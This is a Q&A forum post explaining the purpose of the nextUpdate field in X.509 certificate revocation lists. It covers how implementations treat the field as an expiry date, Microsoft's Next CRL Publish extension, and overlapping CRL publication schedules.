Certificate Revocation List There are many fields on a certificate revocation list (CRL) like Algorithm, Parameters, Issuer Name, This update date, Next update date, user certificate serial #, etc. While I understand the purpose of most of the fields, of what purpose is the field "next update date on a certificate revocation List?

Oooh, that's a tricky one.

Theoretically, the nextUpdate field is meant to be a (future) date at which a new, updated version of the CRL should be made available. The idea is that if you have a cached CRL, then there is no point trying to download a new one before that date.

In "true X.509" each relying party (a "relying party" is "some system which tries to validate a certificate") is supposed to have its own policy with regards to how old a CRL can become before becoming "too old". Yet a RP cannot guess when a new CRL will be available for all possible CA; we use certificates precisely because a RP does not know all possible CA in advance. Hence the nextUpdate field which conveys information about the CA update policy.

In practice, though, everybody took nextUpdate as a CRL expiry date. So the nextUpdate field means "don't bother download a new CRL before date T", all implementations of X.509 certificate validation consider it to mean "don't use this CRL beyond date T". That's not the same concept. "True X.509" does not handle CRL expiration at all, since every RP is supposed to apply its own policy, but that does not work in the Real World: existing CA, both root and non-root, don't have coherent enough CRL update policies to make a RP-local policy workable. E.g. some CA will update CRL only once per week, or even less than that, especially for offline CA; while others publish new CRL every hour.

Since everybody uses nextUpdate as a CRL expiration date, the CA have adapted and also fill that field with these semantics. Microsoft has also defined an extension called "Next CRL Publish" (1.3.6.1.4.1.311.21.4) to convey the information about the scheduled next CRL publication date, i.e. the historical role of nextUpdate (this is a Microsoft-specific extension, I doubt anybody else uses it).

A common strategy for CA is to use some overlap: for instance, they publish one CRL every 24 hours, and the nextUpdate field is set to thisUpdate + 36 hours. That way, the new CRL is available 12 hours before the previous one "expires". Most clients will bother downloading a new CRL only if the one they have in their cache has its nextUpdate "in the past". Some clients (notably Windows) will download the new CRL some time before the nextUpdate if they have some good indication that a new CRL is indeed available, thus making the pre-fetch worth the effort (e.g. because there is a "Next CRL Publish" extension).